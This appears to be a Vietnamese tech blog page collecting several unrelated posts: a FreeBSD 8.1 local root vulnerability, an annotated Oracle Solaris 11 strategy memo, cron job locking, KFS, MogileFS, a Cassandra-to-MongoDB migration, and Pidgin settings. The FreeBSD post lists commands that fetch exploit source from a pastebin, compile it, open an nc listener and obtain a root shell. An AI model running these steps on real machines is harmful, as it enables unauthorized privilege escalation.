FreeSoft

Contents protected

Do Sócbay lại đổi query tìm kiếm bài hát (sao mà cứ đổi hoài dzị trời!!!) nên mình phải chỉnh lại kịch bản để có thể nghe nhạc từ trang này.

Tải về phiên bản 1.2.6 (nhớ tải thêm urlencode.sh nếu bạn chưa có)

Ai chưa biết về kịch bản này thì có thể xem ở Socbay Lookup. Lưu ý nhỏ là một số bài hát có thể không nghe được với mplayer (do vấn đề về định dạng, decoder).

Thông báo này gần như chép lại từ bài cũ socbay_lookup.sh: phiên bản 1.2.5.

Ref.: http://seclists.org/fulldisclosure/2010/Aug/217

Lần trước, FreeBSD 8 vừa mới công bố chưa kịp nguội thì bị dính lỗi cực kỳ nặng nề (xem FreeBSD local r00t 0day). Lần này, sau khi FreeBSD 8.1 ra lò chưa lâu, thì một lỗi chết người khác được phát hiện, cho phép người dùng bình thường bất kỳ có thể chiếm quyền của root. Cách thực hiện cực kỳ đơn giản như sau đây. Ký hiệu $ , $2 để chỉ cửa sổ xterm thứ nhất hoặc thứ hai.

Thật khủng khiếp cho tay nào phát hiện lỗi này, và thật không may cho FreeBSD: hai lỗi chết người đều được phát hiện không lâu sau khi phiên bản mới được công bố.

 1 $  id
 2      uid=314(pi) gid=314(pi) groups=314(pi),0(wheel),193(cups),919(vboxusers),1005(vnmik)
 3 $  curl http://ownage.pastebin.com/raw.php?i=dyKLRr0v > cache.c
 4 $  gcc ./cache.c -o cache
 5 $  cp /bin/sh /tmp/sh
 6 $  cp /bin/sh /tmp/sh2
 7 $2 nc -l 7030
 8 $  ./cache 1 # i386
 9 $  /tmp/sh
10 $  id
11      uid=314(pi) gid=314(pi) euid=0(root) egid=0(wheel) groups=0(wheel),193(cups),919(vboxusers),1005(vnmik)
12                                 ^ you are "root" now

Read thanks: http://thank.debian.net/read_thanks
How to help Debian: http://thank.debian.net/help_debian

Ref.: http://opensolaris.org/jive/thread.jspa?messageID=496203&tstart=0
Keyworks: OpenSolaris, Solaris, BSD, OTN, CDDL
Notes: My comments go after a sharp (#)

Solaris Engineering,

Today we are announcing a set of decisions regarding the path to
Solaris 11, and answering key pending questions on open source, open
development, software and binary licenses, and how developers and
early adopters will be able to use Solaris 11 technology before its
release in 2011.

As you all know, the term “OpenSolaris” has been used colloquially to
refer to any or all of a collection of source code, a development
model, a web site, a logo, a binary release, a source license, a
community, and many other related things. So it’s taken a while to go
over each issue from an organizational and business perspective, and
align on the correct next step. Therefore, please take the time to
read all of the detail here carefully. We’ll discuss our strategy
first, and then the decisions and changes to our policies and
processes that implement that strategy.

Solaris Strategy
———————-

Solaris is the #1 Enterprise Operating System. We have the leading
share of business applications on Solaris today, including both SPARC
and x64. We have more than twice the application base of AIX and HP-UX
combined. We have a brand that stands for innovation, quality,
security, and trust, built on our 20-year investment in Solaris
operating system engineering.

From a business perspective, the purpose of our investment in Solaris
engineering is to drive our overall server business, including both
SPARC and x64, and to drive business advantages resulting from
integration of multiple components in the Oracle portfolio. This
includes combining our servers with our storage, our servers with our
switches, Oracle applications with Solaris, and the effectiveness of
the service experience resulting from these combinations. All
together, Solaris drives aggregate business measured in many billions
of dollars, with significant growth potential.

We are increasing investment in Solaris, including hiring operating
system expertise from throughout the industry, as a sign of our
commitment to these goals. Solaris is not something we outsource to
others, it is not the assembly of someone else’s technology, and it is
not a sustaining-only product. We expect the top operating systems
engineers in the industry, i.e. all of you, to be creating and
delivering innovations that continue to make Solaris unique,
differentiated, and valuable to our customers, and a unique asset of
our business.

Solaris must stand alone as a best-of-breed technology for Oracle’s
enterprise customers. We want all of them to think “If this has to
work, then it runs on Solaris.” That’s the Solaris brand. That is
where our scalability to more than a few sockets of CPU and gigabytes
of DRAM matters. That is why we reliably deliver millions of IOPS of
storage, networking, and Infiniband. That is why we have unique
properties around file and data management, security and namespace
isolation, fault management, and observability. And we also want our
customers to know that Solaris is and continues to be a source of new
ideas and new technologies– ones that simplify their business and
optimize their applications. That’s what made Solaris 10 the most
innovative operating system release ever. And that is the same focus
that will drive a new set of innovations in Solaris 11.

For Solaris to stand alone as the best-of-breed operating system in
Oracle’s complete and open portfolio, it must run well on other server
hardware and execute everyone’s applications, while delivering unique
optimizations for our hardware and our applications. That is the
central value proposition of Oracle’s complete, open, and integrated
strategy. And these are complementary and not contradictory goals that
we will achieve through proper design and engineering.

The growth opportunity for Solaris has never been greater. As one
example, Solaris is used by about 40% of Oracle’s enterprise
customers, which means we have a 60% growth opportunity in our top
customers alone. In absolute numbers, there are 130,000 Oracle
customers in North America alone who don’t use our servers and storage
yet, and a global customer base of 350,000 (the prior Sun base was
~35,000). That’s a huge opportunity we can go attack as a combined
company that will increase Solaris adoption and the overall Hardware
server revenue. Our success will also increase the amount of effort
ISVs exert optimizing their applications for Solaris.

We will continue to grow a vibrant developer and system administrator
community for Solaris. Delivery of binary releases, delivery of APIs
in source or binary form, delivery of open source code, delivery of
technical documentation, and engineering of upstream contributions to
common industry technologies (such as Apache, Perl, OFED, and many,
many others) will be part of that activity. But we will also make
specific decisions about why and when we do those things, following               # core principles
two core principles: (1) We can’t do everything. The limiting factor
is our engineering bandwidth measured in people and time. So we have
to ensure our top priority is driving delivery of the #1 Enterprise
Operating System, Solaris 11, to grow our systems business; and (2) We
want the adoption of our technology and intellectual property to
accelerate our overall goals, yet not permit competitors to derive
business advantage (or FUD) from our innovations before we do.

We are using our investment in core Solaris innovation and engineering
to drive multiple businesses, through multiple product lines. This
already includes our Solaris operating system for Enterprise, and our
ZFS Storage product line, and will soon include other Oracle products.
This strategy is all about creating more value from a set of common
software investments: it makes everything you do more
valuable and used by more people worldwide. It also means you as an
individual engineer or manager have an even greater responsibility to
understand the broader business and technical contexts in which your
engineering is deployed.

Solaris Decisions
————————

We will continue to use the CDDL license statement in nearly all
Solaris source code files. We will not remove the CDDL from any files
in Solaris to which it already applies, and new source code files that
are created will follow the current policy regarding applying the CDDL
(simply, that usr/src files will have the CDDL, and the very small
minority of files in usr/closed might not have it). Use of other open
licenses in non-ON consolidations (e.g. GPL in the Desktop area) will
also continue. As before, requests to change the license associated
with source code are case-by-case decisions.

We will distribute updates to approved CDDL or other open source-            # Oracle will do this
licensed code following full releases of our enterprise Solaris
operating system. In this manner, new technology innovations will
show up in our releases before anywhere else. We will no longer
distribute source code for the entirety of the Solaris operating
system in real-time while it is developed, on a nightly basis.

Anyone who is consuming Solaris code using the CDDL, whether in pieces
or as a part of the OpenSolaris source distribution or a derivative
thereof, would therefore be able to consume any updates we release at
that time, under the terms of the CDDL, LGPL, or whatever license
applies.

We will have a technology partner program to permit our industry           # pay to access source code?
partners full access to the in-development Solaris source code through
the Oracle Technology Network (OTN). This will include both early
access to code and binaries, as well as contributions to us where that
is appropriate. All such partnerships will be evaluated on a
case-by-case basis, but certainly our core, existing technology
partnerships, such as the one with Intel, are examples of valued
participation.

We will encourage and listen to any and all license requests for          # this way {Open,Free,Net}BSD were born
Solaris technology, either in part or in whole. All such requests will
be evaluated on a case-by-case basis, but we believe there are
many complementary areas where new partnership opportunities exist to
expand use of our IP.

We will continue active open development, including upstream
contributions, in specific areas that accelerate our overall Solaris
goals. Examples include our activities around Gnome and X11, IPS
packaging, and our work to optimize ecosystems like Apache, OpenSSL,
and Perl on Solaris.

We will deliver technical design information, in the form of
documentation, design documents, and source code descriptions, through
our OTN presence for Solaris. We will no longer post advance                # Orables will keep it in secret?
technical descriptions of every single ARC case by default, indicating
what technical innovations might be present in future Solaris
releases. We can at any time make a specific decision to post advance
technical information for any project, when it serves a particular
useful need to do so.

We will have a Solaris 11 binary distribution, called Solaris 11            # Solaris 11 Express is a killer
Express, that will have a free developer RTU license, and an optional
support plan. Solaris 11 Express will debut by the end of this
calendar year, and we will issue updates to it, leading to the full
release of Solaris 11 in 2011.

All of Oracle’s efforts on binary distributions of Solaris technology
will be focused on Solaris 11. We will not release any other binary
distributions, such as nightly or bi-weekly builds of Solaris
binaries, or an OpenSolaris 2010.05 or later distribution. We will
determine a simple, cost-effective means of getting enterprise users
of prior OpenSolaris binary releases to migrate to S11 Express.

We will have a Solaris 11 Platinum Customer Program, including direct
engineering involvement and feedback, for customers using our Solaris
11 technology. We will be asking all of you to participate in this
endeavor, bringing with us the benefit of previous Sun Platinum
programs, while utilizing the much larger megaphone that is available
to us now as a combined company.

We look forward to everyone’s continued work on Solaris 11. Our goal         # pay to work. damn you Oracle!
is simply to make it the best and most important release of Solaris
ever.

-Mike Shapiro, Bill Nesheim, Chris Armes

Khi viết kịch bản Bash/Bourne, một vấn đề thường gặp là làm sao tránh trường hợp hai phiên bản khác nhau của cùng một kịch bản chạy song song -- bởi điều đó có thể dẫn tới nhưng kết quả hoàn toàn xa lạ so với ý tưởng của kịch bản. Đối với các kịch bản (chương trình) chạy với chu kỳ ngắn không xác định (crontab với thời gian tối thiểu 1 phút), việc hạn chế tình trạng chạy song song càng quan trọng.

Ở Bash-Hacker [1] bạn có thể tìm thấy vài mẹo, nhưng cách tiếp cận khá phức tạp. Công cụ flock cũng được giới thiệu nhưng flock quá cũ và cách dùng cũng dài dòng.

Hãy xem kịch bản solo (Perl) của Timothy. Ý tưởng là dùng một job manager đơn giản có hai nhiệm vụ

1. thi hành chương trình chính thông qua exec;
2. mở một socket duy nhất tương ứng với chương trình đã chạy.

job manager sẽ từ chối thi hành phiên bản khác của chương trình nếu socket cũ chưa đóng :) Vấn đề là socket sẽ được tạo ra như thế nào? Đơn giản: người dùng bất kỳ trên hệ thống có quyền tạo ra socket, chẳng hạn bằng lệnh nc -l 127.0.0.1 1024. Địa chỉ loopback được Timothy sử dụng khéo léo, bằng cách ghép với id của người dùng để không gây trùng lặp socket giữa các người dùng với nhau.

Xem ví dụ dưới đây:

* * * * * solo -port=1630 -silent /mnt/bug_tracker/redmine/mail_recieve.sh

Thiết lập này cho cronjob có nghĩa là: cứ sau mỗi một phút (hoặc gần 1 phút), hệ thống thi hành kịch bản xử lý thư mail_receive.sh một lần; nhưng thông qua solo: nếu việc xử lý thư trước đó diễn ra quá lâu (thời gian kéo dài hơn 1 phút), thì socket đã mở trước đây chưa kịp đóng lại, và solo đơn giản bỏ qua yêu cầu mới của cronjob, để chờ cho tiến trình mail_recieve.sh trước đây hòan tất.

Mã nguồn của solo chỉ khoảng 10 dòng :))

Ref.:

1. Bash Hacker: http://wiki.bash-hackers.org/howto/mutex?s[]=lock
2. Tim's solo: http://timkay.com/solo/

KFS được viết bằng C++, triển khai cụ thể ý tưởng của Google File System (lưu ý rằng, hệ thống do chính Google triển khai có mã nguồn đóng.)

Nhìn qua trang chủ http://kosmosfs.sourceforge.net/ thấy thật sơ sài; ngay ở trang wiki thông tin cũng rất hạn chế. Ta tóm tắt lại vài ý chính

1. KFS có thể dùng để thay thế cho HDFS trong hệ thống Hypertable và Hadoop (lưu ý rằng, Hadoop không phải là một distributed file system, mà là một software framework hỗ trợ cho việc phân tán ứng dụng);
2. KFS có ba thành phần
   1. meta-data server: một server chính lưu trữ thông tin meta, cung cấp không gian tên toàn cục (global namespace). Lưu ý là thông tin về cấu trúc thư mục sẽ được lưu trong bộ nhớ;
   2. block server: Tập tin bất kỳ được chia thành các block 64MB và được lưu ở các node (còn gọi là chunk server.) (bằng việc nhân bản và tách -- strip);
   3. client library: cho phép ứng dụng giao tiếp (đọc/ghi) tập tin vào hệ thống KFS. Các thư viện giao tiếp có cho C++, Java và Python;
3. Hỗ trợ FUSE: Trên hệ thống Linux, có thể kết nối với KFS thông qua FUSE, nhưngn điều này không có nghĩa là KFS tương thích với POSIX;
4. Rack-aware: KFS chú ý tới vị trí của các chunk server khi lưu trữ, và nó luôn cố gắng phân tán dữ liệu đến các vị trí xa nhau;
5. Re-replication: Khi tập tin có số lượng nhân bản nhỏ hơn tối thiểu $k$ xác định trước, nó sẽ được nhân bản thêm ở các chunk server khác;
6. Caching: các thư viện ở phía ứng dụng khách sử dụng các bộ đệm để tăng hiệu năng; Thậm chí, các thư viện này còn tự động thay đổi đích truy cập trong trường hợp chunk server đang dùng không thể truy cập được;
7. Triển khai dễ dàng: thông qua các kịch bản để triển khai và tắt/mở dịch vụ.

Nhìn chung, ứng dụng thích hợp nhất của KFS là thay thế cho HDFS trong các hệ thống Hadoop. Do đó, chủ đề KFS vs. HDFS cần phải theo dõi và phân tích kỹ lưỡng. Tất nhiên, những ai không thích nền tảng Java-based có thể tìm thấy ở KFS sự lựa chọn tốt :)

Ref.:

1. http://kosmosfs.sourceforge.net/features.html
2. http://sourceforge.net/apps/trac/kosmosfs/wiki/HowKFSWorks
3. http://www.skrenta.com/2007/09/kosmix_releases_google_gfs_wor.html

MogileFS là một trong các sản phẩm mã nguồn mở của Danga. Danga Ineractive (đổi thành Danga vào năm 2002) ban đầu là công ty của Brad Fitzpatrick, sau đó được SixApart mua lại vào năm 2005. Về Brad Fitzpatrick, bạn sẽ ngạc nhiên khi biết anh chàng sinh năm 1980, là tác giả của LiveJournal và memcached. LiveJournal cũng như Wordpress, nhưng được dùng chủ yếu ở Mỹ và Nga (một công ty của Nga đã mua lại LiveJournal từ SixApart vào năm 2007), còn memcached là một ứng dụng quá nổi tiếng: tiêu biểu nhất là nó được dùng trong LiveJournal, Facebook và Youtube.

Trong bài này, ta nói về MogileFS, "a distributed (meta) file system. Spray files across cheap disks on your network. Pay less for storage. No proprietary on-disk file formats." Các tính chất cơ bản của MogileFS:

1. application level: MogileFS hoạt động ở tầng ứng dụng, không cần cài thêm mô-đun cho nhân hệ thống. Do đó, việc triển khai sẽ đơn giản;
2. no single point of failure: lý do là ba thành phần của MogileFS có thể chạy ở nhiều máy (chưa rõ nghĩa: một thành phần có thể chạy đồng thời ở nhiều máy khác nhau hay không?);
3. automatic file replication: Tùy thuộc vào "lớp", tập tin sẽ được nhân bản ở các node, với số nhân bản tùy vào thiết lập của "lớp". Việc phân chia ra các "lớp" cho phép xác định mức độ quan trọng và mức độ sử dụng của các tập tin trong lớp đó;
4. better than RAID: Trong thiết lập non-SAN RAID, các đĩa cứng sẽ có đặc tính bền bỉ (redundant) chứ không phải là các máy tính; do đó, nếu hỏng hóc xảy ra đối với máy tính, thì tập tin sẽ không truy cập được. Khi dùng MogileFS, tập tin sẽ được nhân bản ở nhiều đĩa và nhiều máy con khác nhau, đảm bảo chúng luôn dùng được ngay cả khi một số máy tính trong hệ thống MogileFS bị hỏng;
5. Flat Namespace: Các tập tin được xác định một cách duy nhất thông qua chìa khóa nằm trong không gian tên phẳng, toàn cục;
6. Shared-Nothing: Không phục thuộc vào hệ thống SAN với các đĩa chia sẻ; các máy con trong hệ thống quản lý hệ thống đĩa của riêng nó, mà không chia sẻ đĩa cứng với các máy khác trong hệ thống;
7. No RAID required: Các đĩa của từng node trong hệ thống có thể dùng RAID, nhưng điều đó là không bắt buộc;
8. Local filesystem agnostic: Đĩa cứng ở từng node được định dạng tùy theo hệ thống cài ở node đó (ext3, XFS,...); MogileFS sử dụng hệ thống riêng để định vị tập tin, thư mục, và do đó bạn sẽ không gặp phải các giới hạn như về số tập tin tối đa trong thư mục, hoặc số thư mục con tối đa trong một thư mục.

Tuy nhiên, MogileFS vẫn chưa/không hoàn hảo

1. Không tuân theo chuẩn POSIX: các ứng dụng Unix chuẩn sẽ không làm việc được với MogileFS. Bạn chỉ sử dụng MogileFS để lưu trữ tập tin và sau đó đọc ra thông tin (nhiều lần), bằng cách thông qua các thư viện để truy cập đến hệ thống tập tin MogileFS qua các phương thức PUT/GET (HTTP protocol.)
2. Chưa portable hoàn toàn: bởi vì MogileFS có một số thành phần chỉ hoạt động trong môi trường Linux

Ref.:

1. http://danga.com/mogilefs/
2. http://en.wikipedia.org/wiki/Brad_Fitzpatrick
3. http://en.wikipedia.org/wiki/Livejournal

Ref.: Why Flockdock migrated from Cassandra to MongoDB.

Flowdock là ứng dụng web hỗ trợ cho các nhóm làm việc, thay thế cho việc sử dụng Skype, IRC, Campfire... Cơ sở dữ liệu của Flowdock ban đầu là Cassandra, đã mang lại một số trục trặc đáng kể

• Các tiến trình GC (?) rơi vào vòng lặp vô tận khi cố gắng thu gọn dữ liệu (compact the data files), vì thế làm suy gỉam năng lực của hệ thống chung; để giải quyết, cách duy nhất có thể làm là khởi động lại cluster;
• Trong các tuần của tháng 7, các tiến trình con của hệ thống Cassandra ngốn hết các tài nguyên được cấp.
• Trước đây, khi nâng cấp từ bản 0.4 lên 0.5, Flockdock cũng buộc phải tắt Cassandra cluster, bởi vì mặc dù họ làm theo chỉ dẫn nâng cấp từ tài liệu của Cassandra, họ vẫn không thể ghi hết dữ liệu đệm vào ổ cứng. Kết cục là nhiều thông tin bị mất trong lúc hệ thống dữ liệu bị gián đoạn. Công việc bảo trì và xây dựng lại các chỉ mục (indices) đã kết thúc vào lúc... 4 giờ sáng.

Đội phát triển Flowdock quyết định thử thử với MongoDB và cuối cùng chuyển thành công qua hệ NoSQL sau này. Khởi nguồn cho quyết định này là ở việc MongoDB đang phát triển rất nhanh, và ở phiên bản mới nhất có các tính năng auto-sharding, replica có thể so sánh được với Cassandra.

Việc chuyển đổi bắt đầu bằng một ngày viết kịch bản để chuyển dữ liệu đang có từ hệ thống Cassandra qua MongoDB. Sau đó là một vài tuần chạy thử trước khi triển khai chính thức. Các điểm đáng chú ý nhất mà Flowdock chia sẻ với cộng đồng, là ngoài hiệu năng và độ bền cao của MongoDB, còn có

1. Smart multikey indices: MongoDB đánh chỉ số cho mọi thứ mộ cách tự động, làm cho các truy vấn từ phía client đơn giản hơn;
2. Queries: Cho dù thiết kế của hệ dữ liệu có đơn giản thế nào, bạn cũng sẽ phải đương đầu với các truy vấn phức tạp không-lường-trước. MongoDB cho phép xây dựng các truy vấp phức tạp trực tiếp từ console, gần giống với các hệ SQL đã biết. Sau đó, MongoDB sẽ thực hiện các phép dò tìm tuần tự -- nhờ đó truy vấn sẽ nhanh hơn và tiện lợi hơn việc xử lý hàng triệu dòng một cách thủ công từ phía máy khách;
3. Map-Reduce: Hỗ trợ của MongoDB chưa hoàn hảo so với Cassandra, nhưng bù lại rất dễ dùng để hỗ trợ các phân tích;
4. GridFS: Cung cấp cách để đọc / ghi các tập tin kích thước lớn từ cơ sở dữ liệu, bằng cách chia tập tin lớn thành các block 4MB (việc chia này diễn ra một cách trong suốt đối với người dùng.) (GridFS đã được hỗ trợ với Nginx và Lighttd.)

Tuy nhiên, không phải mọi thứ đều suôn sẻ. Vẫn còn đó vài trở ngại "nhỏ":

1. Một lỗi khi xử lý các chuỗi định dạng JSON (Flowdock đã fix lỗi này)
2. Các dấu chấm không được sử dụng trong khóa của tài liệu BSON.
3. Tài liệu có kích thước không quá 4MB. Điều này cần lưu ý khi cập nhật dữ liệu
4. Thêm bớt các node trong cluster không được dễ dàng như trong hệ thống Cassandra. Tuy nhiên, để ý là Cassandra lại có vấn đề với hệ thống cân bằng tải.

--
z (đọc và biên dịch lại để ... nhớ :)

Configuration for your Google accounts in Pidgin.

                Google apps.            Gmail account
-----------------------------------------------------
Protocol:       XMPP                    XMPP
Username:       <user_name>             <user_name>
Domain:         <domain_name>           gmail.com
Resource:       gmail.com               Home
Connect port:   5222                    5222
Connect server: talk.google.com         (empty)
File proxies:   proxy.eu.jabber.org     (the same)
Require SSL/TLS:yes                     yes